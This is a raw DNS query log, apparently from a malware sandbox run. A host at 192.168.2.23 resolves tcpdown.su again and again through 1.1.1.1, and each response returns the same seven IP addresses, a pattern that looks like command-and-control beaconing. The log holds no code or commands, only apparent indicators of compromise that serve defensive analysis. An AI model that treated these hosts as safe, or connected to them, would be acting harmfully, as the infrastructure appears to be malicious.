Jan 2, 2025 08:48:39.758404970 CET	1.1.1.1	192.168.2.23	0x8bd6	No error (0)	tcpdown.su	23.94.37.42	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:39.758404970 CET	1.1.1.1	192.168.2.23	0x8bd6	No error (0)	tcpdown.su	104.168.33.8	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:39.758404970 CET	1.1.1.1	192.168.2.23	0x8bd6	No error (0)	tcpdown.su	45.200.149.167	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:39.758404970 CET	1.1.1.1	192.168.2.23	0x8bd6	No error (0)	tcpdown.su	45.200.149.95	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:39.758404970 CET	1.1.1.1	192.168.2.23	0x8bd6	No error (0)	tcpdown.su	45.200.149.96	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:39.758404970 CET	1.1.1.1	192.168.2.23	0x8bd6	No error (0)	tcpdown.su	23.94.242.130	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:39.758404970 CET	1.1.1.1	192.168.2.23	0x8bd6	No error (0)	tcpdown.su	45.200.149.249	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:39.767484903 CET	1.1.1.1	192.168.2.23	0xd25f	No error (0)	tcpdown.su	104.168.33.8	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:39.767484903 CET	1.1.1.1	192.168.2.23	0xd25f	No error (0)	tcpdown.su	45.200.149.249	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:39.767484903 CET	1.1.1.1	192.168.2.23	0xd25f	No error (0)	tcpdown.su	45.200.149.96	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:39.767484903 CET	1.1.1.1	192.168.2.23	0xd25f	No error (0)	tcpdown.su	23.94.37.42	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:39.767484903 CET	1.1.1.1	192.168.2.23	0xd25f	No error (0)	tcpdown.su	45.200.149.167	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:39.767484903 CET	1.1.1.1	192.168.2.23	0xd25f	No error (0)	tcpdown.su	23.94.242.130	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:39.767484903 CET	1.1.1.1	192.168.2.23	0xd25f	No error (0)	tcpdown.su	45.200.149.95	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:40.732218981 CET	1.1.1.1	192.168.2.23	0x31ed	No error (0)	tcpdown.su	104.168.33.8	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:40.732218981 CET	1.1.1.1	192.168.2.23	0x31ed	No error (0)	tcpdown.su	45.200.149.167	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:40.732218981 CET	1.1.1.1	192.168.2.23	0x31ed	No error (0)	tcpdown.su	45.200.149.95	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:40.732218981 CET	1.1.1.1	192.168.2.23	0x31ed	No error (0)	tcpdown.su	23.94.37.42	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:40.732218981 CET	1.1.1.1	192.168.2.23	0x31ed	No error (0)	tcpdown.su	45.200.149.96	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:40.732218981 CET	1.1.1.1	192.168.2.23	0x31ed	No error (0)	tcpdown.su	23.94.242.130	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:40.732218981 CET	1.1.1.1	192.168.2.23	0x31ed	No error (0)	tcpdown.su	45.200.149.249	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:40.743541002 CET	1.1.1.1	192.168.2.23	0x165c	No error (0)	tcpdown.su	23.94.37.42	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:40.743541002 CET	1.1.1.1	192.168.2.23	0x165c	No error (0)	tcpdown.su	104.168.33.8	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:40.743541002 CET	1.1.1.1	192.168.2.23	0x165c	No error (0)	tcpdown.su	23.94.242.130	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:40.743541002 CET	1.1.1.1	192.168.2.23	0x165c	No error (0)	tcpdown.su	45.200.149.167	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:40.743541002 CET	1.1.1.1	192.168.2.23	0x165c	No error (0)	tcpdown.su	45.200.149.95	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:40.743541002 CET	1.1.1.1	192.168.2.23	0x165c	No error (0)	tcpdown.su	45.200.149.249	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:40.743541002 CET	1.1.1.1	192.168.2.23	0x165c	No error (0)	tcpdown.su	45.200.149.96	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:41.310142994 CET	1.1.1.1	192.168.2.23	0x3e0a	No error (0)	tcpdown.su	23.94.242.130	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:41.310142994 CET	1.1.1.1	192.168.2.23	0x3e0a	No error (0)	tcpdown.su	104.168.33.8	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:41.310142994 CET	1.1.1.1	192.168.2.23	0x3e0a	No error (0)	tcpdown.su	45.200.149.167	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:41.310142994 CET	1.1.1.1	192.168.2.23	0x3e0a	No error (0)	tcpdown.su	45.200.149.95	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:41.310142994 CET	1.1.1.1	192.168.2.23	0x3e0a	No error (0)	tcpdown.su	45.200.149.96	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:41.310142994 CET	1.1.1.1	192.168.2.23	0x3e0a	No error (0)	tcpdown.su	23.94.37.42	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:41.310142994 CET	1.1.1.1	192.168.2.23	0x3e0a	No error (0)	tcpdown.su	45.200.149.249	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:41.322443008 CET	1.1.1.1	192.168.2.23	0xedbf	No error (0)	tcpdown.su	45.200.149.167	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:41.322443008 CET	1.1.1.1	192.168.2.23	0xedbf	No error (0)	tcpdown.su	45.200.149.249	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:41.322443008 CET	1.1.1.1	192.168.2.23	0xedbf	No error (0)	tcpdown.su	45.200.149.95	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:41.322443008 CET	1.1.1.1	192.168.2.23	0xedbf	No error (0)	tcpdown.su	23.94.37.42	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:41.322443008 CET	1.1.1.1	192.168.2.23	0xedbf	No error (0)	tcpdown.su	45.200.149.96	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:41.322443008 CET	1.1.1.1	192.168.2.23	0xedbf	No error (0)	tcpdown.su	104.168.33.8	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:41.322443008 CET	1.1.1.1	192.168.2.23	0xedbf	No error (0)	tcpdown.su	23.94.242.130	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:42.313323975 CET	1.1.1.1	192.168.2.23	0xd2dc	No error (0)	tcpdown.su	45.200.149.249	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:42.313323975 CET	1.1.1.1	192.168.2.23	0xd2dc	No error (0)	tcpdown.su	23.94.242.130	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:42.313323975 CET	1.1.1.1	192.168.2.23	0xd2dc	No error (0)	tcpdown.su	45.200.149.95	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:42.313323975 CET	1.1.1.1	192.168.2.23	0xd2dc	No error (0)	tcpdown.su	104.168.33.8	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:42.313323975 CET	1.1.1.1	192.168.2.23	0xd2dc	No error (0)	tcpdown.su	45.200.149.96	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:42.313323975 CET	1.1.1.1	192.168.2.23	0xd2dc	No error (0)	tcpdown.su	23.94.37.42	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:42.313323975 CET	1.1.1.1	192.168.2.23	0xd2dc	No error (0)	tcpdown.su	45.200.149.167	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:42.323985100 CET	1.1.1.1	192.168.2.23	0x85f8	No error (0)	tcpdown.su	45.200.149.167	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:42.323985100 CET	1.1.1.1	192.168.2.23	0x85f8	No error (0)	tcpdown.su	45.200.149.249	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:42.323985100 CET	1.1.1.1	192.168.2.23	0x85f8	No error (0)	tcpdown.su	45.200.149.95	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:42.323985100 CET	1.1.1.1	192.168.2.23	0x85f8	No error (0)	tcpdown.su	104.168.33.8	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:42.323985100 CET	1.1.1.1	192.168.2.23	0x85f8	No error (0)	tcpdown.su	23.94.37.42	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:42.323985100 CET	1.1.1.1	192.168.2.23	0x85f8	No error (0)	tcpdown.su	23.94.242.130	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:42.323985100 CET	1.1.1.1	192.168.2.23	0x85f8	No error (0)	tcpdown.su	45.200.149.96	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:43.151876926 CET	1.1.1.1	192.168.2.23	0xb3ef	No error (0)	tcpdown.su	104.168.33.8	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:43.151876926 CET	1.1.1.1	192.168.2.23	0xb3ef	No error (0)	tcpdown.su	23.94.242.130	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:43.151876926 CET	1.1.1.1	192.168.2.23	0xb3ef	No error (0)	tcpdown.su	45.200.149.95	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:43.151876926 CET	1.1.1.1	192.168.2.23	0xb3ef	No error (0)	tcpdown.su	45.200.149.249	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:43.151876926 CET	1.1.1.1	192.168.2.23	0xb3ef	No error (0)	tcpdown.su	45.200.149.96	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:43.151876926 CET	1.1.1.1	192.168.2.23	0xb3ef	No error (0)	tcpdown.su	45.200.149.167	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:43.151876926 CET	1.1.1.1	192.168.2.23	0xb3ef	No error (0)	tcpdown.su	23.94.37.42	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:43.160329103 CET	1.1.1.1	192.168.2.23	0xa20	No error (0)	tcpdown.su	104.168.33.8	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:43.160329103 CET	1.1.1.1	192.168.2.23	0xa20	No error (0)	tcpdown.su	45.200.149.95	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:43.160329103 CET	1.1.1.1	192.168.2.23	0xa20	No error (0)	tcpdown.su	45.200.149.96	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:43.160329103 CET	1.1.1.1	192.168.2.23	0xa20	No error (0)	tcpdown.su	23.94.37.42	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:43.160329103 CET	1.1.1.1	192.168.2.23	0xa20	No error (0)	tcpdown.su	23.94.242.130	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:43.160329103 CET	1.1.1.1	192.168.2.23	0xa20	No error (0)	tcpdown.su	45.200.149.249	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:43.160329103 CET	1.1.1.1	192.168.2.23	0xa20	No error (0)	tcpdown.su	45.200.149.167	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:44.157737970 CET	1.1.1.1	192.168.2.23	0x4cde	No error (0)	tcpdown.su	104.168.33.8	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:44.157737970 CET	1.1.1.1	192.168.2.23	0x4cde	No error (0)	tcpdown.su	23.94.242.130	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:44.157737970 CET	1.1.1.1	192.168.2.23	0x4cde	No error (0)	tcpdown.su	23.94.37.42	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:44.157737970 CET	1.1.1.1	192.168.2.23	0x4cde	No error (0)	tcpdown.su	45.200.149.249	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:44.157737970 CET	1.1.1.1	192.168.2.23	0x4cde	No error (0)	tcpdown.su	45.200.149.96	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:44.157737970 CET	1.1.1.1	192.168.2.23	0x4cde	No error (0)	tcpdown.su	45.200.149.95	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:44.157737970 CET	1.1.1.1	192.168.2.23	0x4cde	No error (0)	tcpdown.su	45.200.149.167	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:44.166235924 CET	1.1.1.1	192.168.2.23	0x41cf	No error (0)	tcpdown.su	45.200.149.96	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:44.166235924 CET	1.1.1.1	192.168.2.23	0x41cf	No error (0)	tcpdown.su	104.168.33.8	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:44.166235924 CET	1.1.1.1	192.168.2.23	0x41cf	No error (0)	tcpdown.su	23.94.242.130	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:44.166235924 CET	1.1.1.1	192.168.2.23	0x41cf	No error (0)	tcpdown.su	23.94.37.42	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:44.166235924 CET	1.1.1.1	192.168.2.23	0x41cf	No error (0)	tcpdown.su	45.200.149.95	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:44.166235924 CET	1.1.1.1	192.168.2.23	0x41cf	No error (0)	tcpdown.su	45.200.149.167	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:44.166235924 CET	1.1.1.1	192.168.2.23	0x41cf	No error (0)	tcpdown.su	45.200.149.249	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:44.988327026 CET	1.1.1.1	192.168.2.23	0x198c	No error (0)	tcpdown.su	23.94.37.42	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:44.988327026 CET	1.1.1.1	192.168.2.23	0x198c	No error (0)	tcpdown.su	45.200.149.96	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:44.988327026 CET	1.1.1.1	192.168.2.23	0x198c	No error (0)	tcpdown.su	104.168.33.8	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:44.988327026 CET	1.1.1.1	192.168.2.23	0x198c	No error (0)	tcpdown.su	45.200.149.95	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:44.988327026 CET	1.1.1.1	192.168.2.23	0x198c	No error (0)	tcpdown.su	45.200.149.249	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:44.988327026 CET	1.1.1.1	192.168.2.23	0x198c	No error (0)	tcpdown.su	45.200.149.167	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:44.988327026 CET	1.1.1.1	192.168.2.23	0x198c	No error (0)	tcpdown.su	23.94.242.130	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:45.000947952 CET	1.1.1.1	192.168.2.23	0x2e3c	No error (0)	tcpdown.su	45.200.149.167	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:45.000947952 CET	1.1.1.1	192.168.2.23	0x2e3c	No error (0)	tcpdown.su	45.200.149.96	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:45.000947952 CET	1.1.1.1	192.168.2.23	0x2e3c	No error (0)	tcpdown.su	23.94.242.130	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:45.000947952 CET	1.1.1.1	192.168.2.23	0x2e3c	No error (0)	tcpdown.su	45.200.149.95	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:45.000947952 CET	1.1.1.1	192.168.2.23	0x2e3c	No error (0)	tcpdown.su	45.200.149.249	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:45.000947952 CET	1.1.1.1	192.168.2.23	0x2e3c	No error (0)	tcpdown.su	23.94.37.42	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:45.000947952 CET	1.1.1.1	192.168.2.23	0x2e3c	No error (0)	tcpdown.su	104.168.33.8	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:45.701910973 CET	1.1.1.1	192.168.2.23	0x8f4f	No error (0)	tcpdown.su	45.200.149.249	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:45.701910973 CET	1.1.1.1	192.168.2.23	0x8f4f	No error (0)	tcpdown.su	23.94.37.42	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:45.701910973 CET	1.1.1.1	192.168.2.23	0x8f4f	No error (0)	tcpdown.su	45.200.149.95	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:45.701910973 CET	1.1.1.1	192.168.2.23	0x8f4f	No error (0)	tcpdown.su	104.168.33.8	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:45.701910973 CET	1.1.1.1	192.168.2.23	0x8f4f	No error (0)	tcpdown.su	45.200.149.96	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:45.701910973 CET	1.1.1.1	192.168.2.23	0x8f4f	No error (0)	tcpdown.su	23.94.242.130	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:45.701910973 CET	1.1.1.1	192.168.2.23	0x8f4f	No error (0)	tcpdown.su	45.200.149.167	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:45.710844994 CET	1.1.1.1	192.168.2.23	0xde9d	No error (0)	tcpdown.su	23.94.242.130	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:45.710844994 CET	1.1.1.1	192.168.2.23	0xde9d	No error (0)	tcpdown.su	104.168.33.8	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:45.710844994 CET	1.1.1.1	192.168.2.23	0xde9d	No error (0)	tcpdown.su	45.200.149.96	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:45.710844994 CET	1.1.1.1	192.168.2.23	0xde9d	No error (0)	tcpdown.su	45.200.149.249	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:45.710844994 CET	1.1.1.1	192.168.2.23	0xde9d	No error (0)	tcpdown.su	45.200.149.95	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:45.710844994 CET	1.1.1.1	192.168.2.23	0xde9d	No error (0)	tcpdown.su	23.94.37.42	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:45.710844994 CET	1.1.1.1	192.168.2.23	0xde9d	No error (0)	tcpdown.su	45.200.149.167	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:46.830555916 CET	1.1.1.1	192.168.2.23	0x637c	No error (0)	tcpdown.su	45.200.149.95	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:46.830555916 CET	1.1.1.1	192.168.2.23	0x637c	No error (0)	tcpdown.su	45.200.149.96	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:46.830555916 CET	1.1.1.1	192.168.2.23	0x637c	No error (0)	tcpdown.su	23.94.242.130	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:46.830555916 CET	1.1.1.1	192.168.2.23	0x637c	No error (0)	tcpdown.su	104.168.33.8	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:46.830555916 CET	1.1.1.1	192.168.2.23	0x637c	No error (0)	tcpdown.su	45.200.149.167	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:46.830555916 CET	1.1.1.1	192.168.2.23	0x637c	No error (0)	tcpdown.su	23.94.37.42	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:46.830555916 CET	1.1.1.1	192.168.2.23	0x637c	No error (0)	tcpdown.su	45.200.149.249	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:46.838032007 CET	1.1.1.1	192.168.2.23	0xd214	No error (0)	tcpdown.su	45.200.149.95	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:46.838032007 CET	1.1.1.1	192.168.2.23	0xd214	No error (0)	tcpdown.su	45.200.149.249	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:46.838032007 CET	1.1.1.1	192.168.2.23	0xd214	No error (0)	tcpdown.su	45.200.149.167	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:46.838032007 CET	1.1.1.1	192.168.2.23	0xd214	No error (0)	tcpdown.su	104.168.33.8	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:46.838032007 CET	1.1.1.1	192.168.2.23	0xd214	No error (0)	tcpdown.su	23.94.242.130	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:46.838032007 CET	1.1.1.1	192.168.2.23	0xd214	No error (0)	tcpdown.su	45.200.149.96	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:46.838032007 CET	1.1.1.1	192.168.2.23	0xd214	No error (0)	tcpdown.su	23.94.37.42	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:47.540220976 CET	1.1.1.1	192.168.2.23	0x5718	No error (0)	tcpdown.su	23.94.37.42	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:47.540220976 CET	1.1.1.1	192.168.2.23	0x5718	No error (0)	tcpdown.su	45.200.149.249	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:47.540220976 CET	1.1.1.1	192.168.2.23	0x5718	No error (0)	tcpdown.su	23.94.242.130	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:47.540220976 CET	1.1.1.1	192.168.2.23	0x5718	No error (0)	tcpdown.su	45.200.149.96	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:47.540220976 CET	1.1.1.1	192.168.2.23	0x5718	No error (0)	tcpdown.su	45.200.149.167	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:47.540220976 CET	1.1.1.1	192.168.2.23	0x5718	No error (0)	tcpdown.su	45.200.149.95	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:47.540220976 CET	1.1.1.1	192.168.2.23	0x5718	No error (0)	tcpdown.su	104.168.33.8	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:47.548944950 CET	1.1.1.1	192.168.2.23	0x4229	No error (0)	tcpdown.su	45.200.149.96	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:47.548944950 CET	1.1.1.1	192.168.2.23	0x4229	No error (0)	tcpdown.su	45.200.149.167	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:47.548944950 CET	1.1.1.1	192.168.2.23	0x4229	No error (0)	tcpdown.su	23.94.242.130	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:47.548944950 CET	1.1.1.1	192.168.2.23	0x4229	No error (0)	tcpdown.su	45.200.149.95	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:47.548944950 CET	1.1.1.1	192.168.2.23	0x4229	No error (0)	tcpdown.su	23.94.37.42	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:47.548944950 CET	1.1.1.1	192.168.2.23	0x4229	No error (0)	tcpdown.su	104.168.33.8	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:47.548944950 CET	1.1.1.1	192.168.2.23	0x4229	No error (0)	tcpdown.su	45.200.149.249	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:48.677908897 CET	1.1.1.1	192.168.2.23	0xe69b	No error (0)	tcpdown.su	45.200.149.95	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:48.677908897 CET	1.1.1.1	192.168.2.23	0xe69b	No error (0)	tcpdown.su	45.200.149.249	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:48.677908897 CET	1.1.1.1	192.168.2.23	0xe69b	No error (0)	tcpdown.su	23.94.37.42	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:48.677908897 CET	1.1.1.1	192.168.2.23	0xe69b	No error (0)	tcpdown.su	104.168.33.8	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:48.677908897 CET	1.1.1.1	192.168.2.23	0xe69b	No error (0)	tcpdown.su	45.200.149.96	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:48.677908897 CET	1.1.1.1	192.168.2.23	0xe69b	No error (0)	tcpdown.su	45.200.149.167	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:48.677908897 CET	1.1.1.1	192.168.2.23	0xe69b	No error (0)	tcpdown.su	23.94.242.130	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:48.685973883 CET	1.1.1.1	192.168.2.23	0x376	No error (0)	tcpdown.su	104.168.33.8	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:48.685973883 CET	1.1.1.1	192.168.2.23	0x376	No error (0)	tcpdown.su	45.200.149.95	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:48.685973883 CET	1.1.1.1	192.168.2.23	0x376	No error (0)	tcpdown.su	45.200.149.96	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:48.685973883 CET	1.1.1.1	192.168.2.23	0x376	No error (0)	tcpdown.su	45.200.149.167	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:48.685973883 CET	1.1.1.1	192.168.2.23	0x376	No error (0)	tcpdown.su	45.200.149.249	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:48.685973883 CET	1.1.1.1	192.168.2.23	0x376	No error (0)	tcpdown.su	23.94.242.130	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:48.685973883 CET	1.1.1.1	192.168.2.23	0x376	No error (0)	tcpdown.su	23.94.37.42	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:49.099000931 CET	1.1.1.1	192.168.2.23	0x73ae	No error (0)	tcpdown.su	23.94.37.42	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:49.099000931 CET	1.1.1.1	192.168.2.23	0x73ae	No error (0)	tcpdown.su	45.200.149.167	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:49.099000931 CET	1.1.1.1	192.168.2.23	0x73ae	No error (0)	tcpdown.su	23.94.242.130	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:49.099000931 CET	1.1.1.1	192.168.2.23	0x73ae	No error (0)	tcpdown.su	45.200.149.96	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:49.099000931 CET	1.1.1.1	192.168.2.23	0x73ae	No error (0)	tcpdown.su	45.200.149.249	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:49.099000931 CET	1.1.1.1	192.168.2.23	0x73ae	No error (0)	tcpdown.su	104.168.33.8	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:49.099000931 CET	1.1.1.1	192.168.2.23	0x73ae	No error (0)	tcpdown.su	45.200.149.95	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:49.107805967 CET	1.1.1.1	192.168.2.23	0x5a55	No error (0)	tcpdown.su	104.168.33.8	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:49.107805967 CET	1.1.1.1	192.168.2.23	0x5a55	No error (0)	tcpdown.su	45.200.149.95	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:49.107805967 CET	1.1.1.1	192.168.2.23	0x5a55	No error (0)	tcpdown.su	23.94.242.130	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:49.107805967 CET	1.1.1.1	192.168.2.23	0x5a55	No error (0)	tcpdown.su	45.200.149.167	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:49.107805967 CET	1.1.1.1	192.168.2.23	0x5a55	No error (0)	tcpdown.su	45.200.149.249	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:49.107805967 CET	1.1.1.1	192.168.2.23	0x5a55	No error (0)	tcpdown.su	23.94.37.42	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:49.107805967 CET	1.1.1.1	192.168.2.23	0x5a55	No error (0)	tcpdown.su	45.200.149.96	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:50.954255104 CET	1.1.1.1	192.168.2.23	0x2a2c	No error (0)	tcpdown.su	45.200.149.95	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:50.954255104 CET	1.1.1.1	192.168.2.23	0x2a2c	No error (0)	tcpdown.su	45.200.149.249	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:50.954255104 CET	1.1.1.1	192.168.2.23	0x2a2c	No error (0)	tcpdown.su	23.94.37.42	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:50.954255104 CET	1.1.1.1	192.168.2.23	0x2a2c	No error (0)	tcpdown.su	45.200.149.167	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:50.954255104 CET	1.1.1.1	192.168.2.23	0x2a2c	No error (0)	tcpdown.su	23.94.242.130	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:50.954255104 CET	1.1.1.1	192.168.2.23	0x2a2c	No error (0)	tcpdown.su	104.168.33.8	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:50.954255104 CET	1.1.1.1	192.168.2.23	0x2a2c	No error (0)	tcpdown.su	45.200.149.96	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:48:50.962301970 CET	1.1.1.1	192.168.2.23	0x751a	No error (0)	tcpdown.su	23.94.37.42	A (IP address)	IN (0x0001)	false
